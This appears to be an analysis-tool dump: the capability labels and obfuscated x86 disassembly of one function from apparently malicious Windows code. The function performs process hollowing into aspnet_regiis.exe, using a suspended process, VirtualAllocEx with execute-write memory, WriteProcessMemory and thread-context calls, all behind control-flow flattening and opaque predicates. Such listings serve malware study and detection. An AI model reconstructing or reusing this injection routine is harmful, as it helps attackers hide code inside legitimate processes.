Function at 0x10003550
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10065200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x177afc4a
sub edx, 1
add edx, 0x177afc4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xee], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xed], al
mov dword [ebp - 0xf4], 0x7b1a30fe
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x80513a04
je 0x100045e6
jmp 0x100035cb
mov eax, dword [ebp - 0xf8]
sub eax, 0x80a7d00b
je 0x10005e87
jmp 0x100035e1
mov eax, dword [ebp - 0xf8]
sub eax, 0x81a3dba5
je 0x10005b6c
jmp 0x100035f7
mov eax, dword [ebp - 0xf8]
sub eax, 0x8672858f
je 0x100066c9
jmp 0x1000360d
mov eax, dword [ebp - 0xf8]
sub eax, 0x87c8934d
je 0x10004fa3
jmp 0x10003623
mov eax, dword [ebp - 0xf8]
sub eax, 0x891fd179
je 0x10005472
jmp 0x10003639
mov eax, dword [ebp - 0xf8]
sub eax, 0x894956e6
je 0x10004ae4
jmp 0x1000364f
mov eax, dword [ebp - 0xf8]
sub eax, 0x89b9de44
je 0x100065b8
jmp 0x10003665
mov eax, dword [ebp - 0xf8]
sub eax, 0x8b490e23
je 0x1000640f
jmp 0x1000367b
mov eax, dword [ebp - 0xf8]
sub eax, 0x8c5fb445
je 0x10004d20
jmp 0x10003691
mov eax, dword [ebp - 0xf8]
sub eax, 0x8dabe538
je 0x1000617f
jmp 0x100036a7
mov eax, dword [ebp - 0xf8]
sub eax, 0x8f93df51
je 0x1000528d
jmp 0x100036bd
mov eax, dword [ebp - 0xf8]
sub eax, 0x91e3112b
je 0x10005d1b
jmp 0x100036d3
mov eax, dword [ebp - 0xf8]
sub eax, 0x9200285e
je 0x100047d0
jmp 0x100036e9
mov eax, dword [ebp - 0xf8]
sub eax, 0x9232f45a
je 0x10005de2
jmp 0x100036ff
mov eax, dword [ebp - 0xf8]
sub eax, 0x93bea2f4
je 0x10004a31
jmp 0x10003715
mov eax, dword [ebp - 0xf8]
sub eax, 0x9894d8d0
je 0x100049d2
jmp 0x1000372b
mov eax, dword [ebp - 0xf8]
sub eax, 0x98c795f8
je 0x10005cad
jmp 0x10003741
mov eax, dword [ebp - 0xf8]
sub eax, 0x98e96609
je 0x10005074
jmp 0x10003757
mov eax, dword [ebp - 0xf8]
sub eax, 0x9932e15a
je 0x1000500d
jmp 0x1000376d
mov eax, dword [ebp - 0xf8]
sub eax, 0x997cc29c
je 0x10005857
jmp 0x10003783
mov eax, dword [ebp - 0xf8]
sub eax, 0x9afded3c
je 0x100065a3
jmp 0x10003799
mov eax, dword [ebp - 0xf8]
sub eax, 0x9e2cfe27
je 0x10006564
jmp 0x100037af
mov eax, dword [ebp - 0xf8]
sub eax, 0x9f451762
je 0x1000502b
jmp 0x100037c5
mov eax, dword [ebp - 0xf8]
sub eax, 0xa2658a2a
je 0x100055c5
jmp 0x100037db
mov eax, dword [ebp - 0xf8]
sub eax, 0xa329ef4a
je 0x10004e81
jmp 0x100037f1
mov eax, dword [ebp - 0xf8]
sub eax, 0xa5f93664
je 0x100066d8
jmp 0x10003807
mov eax, dword [ebp - 0xf8]
sub eax, 0xa63fa1ee
je 0x100059e4
jmp 0x1000381d
mov eax, dword [ebp - 0xf8]
sub eax, 0xa64ee18d
je 0x1000522a
jmp 0x10003833
mov eax, dword [ebp - 0xf8]
sub eax, 0xa778076e
je 0x10004549
jmp 0x10003849
mov eax, dword [ebp - 0xf8]
sub eax, 0xa7ff0314
je 0x10004b2d
jmp 0x1000385f
mov eax, dword [ebp - 0xf8]
sub eax, 0xa87a80fa
je 0x10005839
jmp 0x10003875
mov eax, dword [ebp - 0xf8]
sub eax, 0xa8f9754a
je 0x10005481
jmp 0x1000388b
mov eax, dword [ebp - 0xf8]
sub eax, 0xa98692c2
je 0x10004aab
jmp 0x100038a1
mov eax, dword [ebp - 0xf8]
sub eax, 0xaafe6da5
je 0x10005548
jmp 0x100038b7
mov eax, dword [ebp - 0xf8]
sub eax, 0xab1ead4b
je 0x10006230
jmp 0x100038cd
mov eax, dword [ebp - 0xf8]
sub eax, 0xabef87cf
je 0x10006536
jmp 0x100038e3
mov eax, dword [ebp - 0xf8]
sub eax, 0xac56d5fd
je 0x10006427
jmp 0x100038f9
mov eax, dword [ebp - 0xf8]
sub eax, 0xac628868
je 0x100051a9
jmp 0x1000390f
mov eax, dword [ebp - 0xf8]
sub eax, 0xacb679c0
je 0x1000494d
jmp 0x10003925
mov eax, dword [ebp - 0xf8]
sub eax, 0xae65d548
je 0x10005f90
jmp 0x1000393b
mov eax, dword [ebp - 0xf8]
sub eax, 0xb29c047c
je 0x100062eb
jmp 0x10003951
mov eax, dword [ebp - 0xf8]
sub eax, 0xb317876d
je 0x1000572e
jmp 0x10003967
mov eax, dword [ebp - 0xf8]
sub eax, 0xb5156e4b
je 0x10006573
jmp 0x1000397d
mov eax, dword [ebp - 0xf8]
sub eax, 0xbc113919
je 0x1000564e
jmp 0x10003993
mov eax, dword [ebp - 0xf8]
sub eax, 0xbf15f1a3
je 0x10005a50
jmp 0x100039a9
mov eax, dword [ebp - 0xf8]
sub eax, 0xc2ca8cec
je 0x100054d2
jmp 0x100039bf
mov eax, dword [ebp - 0xf8]
sub eax, 0xc52a59b0
je 0x10005866
jmp 0x100039d5
mov eax, dword [ebp - 0xf8]
sub eax, 0xca962bac
je 0x10004c36
jmp 0x100039eb
mov eax, dword [ebp - 0xf8]
sub eax, 0xcf32e0dc
je 0x10004f26
jmp 0x10003a01
mov eax, dword [ebp - 0xf8]
sub eax, 0xd063f23c
je 0x10004d7d
jmp 0x10003a17
mov eax, dword [ebp - 0xf8]
sub eax, 0xd15e7e6f
je 0x10005da7
jmp 0x10003a2d
mov eax, dword [ebp - 0xf8]
sub eax, 0xd46e274b
je 0x10005c9e
jmp 0x10003a43
mov eax, dword [ebp - 0xf8]
sub eax, 0xd4fb5bd9
je 0x10005d98
jmp 0x10003a59
mov eax, dword [ebp - 0xf8]
sub eax, 0xd53c62b4
je 0x10005273
jmp 0x10003a6f
mov eax, dword [ebp - 0xf8]
sub eax, 0xd66ccb7e
je 0x10004e59
jmp 0x10003a85
mov eax, dword [ebp - 0xf8]
sub eax, 0xd6cb1cf8
je 0x10005394
jmp 0x10003a9b
mov eax, dword [ebp - 0xf8]
sub eax, 0xd73520af
je 0x10004b98
jmp 0x10003ab1
mov eax, dword [ebp - 0xf8]
sub eax, 0xdb4ffd74
je 0x10005b4e
jmp 0x10003ac7
mov eax, dword [ebp - 0xf8]
sub eax, 0xde590826
je 0x10006616
jmp 0x10003add
mov eax, dword [ebp - 0xf8]
sub eax, 0xe00c555d
je 0x1000573d
jmp 0x10003af3
mov eax, dword [ebp - 0xf8]
sub eax, 0xe816f8ef
je 0x10005e2b
jmp 0x10003b09
mov eax, dword [ebp - 0xf8]
sub eax, 0xe9976adc
je 0x100044d3
jmp 0x10003b1f
mov eax, dword [ebp - 0xf8]
sub eax, 0xeb990691
je 0x100063d0
jmp 0x10003b35
mov eax, dword [ebp - 0xf8]
sub eax, 0xf1a7d5cf
je 0x10006221
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x3c423c87
sub edx, 1
add edx, 0x3c423c87
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x153d9320
mov ecx, 0xa778076e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x88], eax
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x397c0fc3
sub edx, 1
add edx, 0x397c0fc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x153d9320
mov ecx, 0x80513a04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x5851e69c
jmp 0x100066e2
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xfd223eb2
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x52a724cd
jmp 0x100066e2
mov eax, dword [ebp - 0x78]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x71], al
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x90654fb3
sub edx, 1
sub edx, 0x90654fb3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12ce000e
mov ecx, 0x93bea2f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dl, byte [ebp - 0x71]
mov eax, 0x8dabe538
mov ecx, 0x6afeb1c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x70]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x7ce55b01
mov ecx, 0x894956e6
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb990691
mov ecx, 0xa7ff0314
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xcb339243
sub edx, 1
sub edx, 0xcb339243
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb990691
mov ecx, 0x6a998a62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call fcn.10002ca0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc8]
mov eax, 0xd063f23c
mov ecx, 0xca962bac
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x61b83fd6
mov ecx, 0x651c19c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x4facf342
jmp 0x100066e2
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
sub ecx, 0x9c526e07
add ecx, 0x18
add ecx, 0x9c526e07
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0xd66317fd
add ecx, eax
add ecx, 0xd66317fd
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x64], eax
mov dword [ebp - 0xf4], 0xd66ccb7e
jmp 0x100066e2
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0xa329ef4a
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x63d080ae
sub edx, 1
add edx, 0x63d080ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58cccc06
mov ecx, 0x10eb3482
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x64ba0d66
jmp 0x100066e2
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x60]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x59], al
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xc71a52c0
sub edx, 1
add edx, 0xc71a52c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b490e23
mov ecx, 0x9932e15a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dl, byte [ebp - 0x59]
mov eax, 0x5764985b
mov ecx, 0x9f451762
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac56d5fd
mov ecx, 0x98e96609
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb0]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x45519a6d
add ecx, edx
add ecx, 0x45519a6d
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xb0]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0xf79b13f7
add edx, esi
sub edx, 0xf79b13f7
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x1355ccc1
sub edx, 1
add edx, 0x1355ccc1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac56d5fd
mov ecx, 0xac628868
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x7f5a6211
jmp 0x100066e2
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
sub esi, 0x365bcbb5
add esi, eax
add esi, 0x365bcbb5
mov edx, dword [ebp - 0x50]
mov eax, 0x5a75aca0
mov ecx, 0xd53c62b4
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xf4], 0x8f93df51
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe74c2c8
mov ecx, 0x6f06e59b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x8cd4181a
sub edx, 1
add edx, 0x8cd4181a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xabef87cf
mov ecx, 0x386f287c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xa8f9754a
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0x23f7a165
sub edx, 1
add edx, 0x23f7a165
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e2cfe27
mov ecx, 0xc2ca8cec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0x8156fd2a
sub edx, 1
sub edx, 0x8156fd2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e2cfe27
mov ecx, 0xaafe6da5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xa329ef4a
jmp 0x100066e2
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xcfd3b0dc
sub edx, 1
add edx, 0xcfd3b0dc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5156e4b
mov ecx, 0x64f46122
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0x9097816f
sub edx, 1
sub edx, 0x9097816f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ec8dfbf
mov ecx, 0xf9bbd4cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xe00c555d
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x6e917670
sub edx, 1
add edx, 0x6e917670
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9afded3c
mov ecx, 0x598c0771
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dl, byte [ebp - 0x3a]
mov eax, 0x44532f55
mov ecx, 0x997cc29c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xc52a59b0
jmp 0x100066e2
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov dword [ebp - 0xf4], 0x1ac44b3e
jmp 0x100066e2
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x2d], al
mov dword [ebp - 0xf4], 0x74168c53
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xe9507d2e
sub edx, 1
sub edx, 0xe9507d2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30d10fe5
mov ecx, 0x1cba64fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dl, byte [ebp - 0x25]
mov eax, 0xd4fb5bd9
mov ecx, 0x81a3dba5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x9c]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xf4], 0x5b223d4
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x98c795f8
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c92fec9
mov ecx, 0x91e3112b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c92fec9
mov ecx, 0x364562b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xd15e7e6f
jmp 0x100066e2
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xf4], 0x3d5223a8
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde590826
mov ecx, 0xe816f8ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xf4d93b6f
sub edx, 1
sub edx, 0xf4d93b6f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde590826
mov ecx, 0x80a7d00b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x470982ea
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x44532f55
jmp 0x100066e2
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x6f3d1666
sub edx, 1
sub edx, 0x6f3d1666
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8672858f
mov ecx, 0x895f038
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100066e2
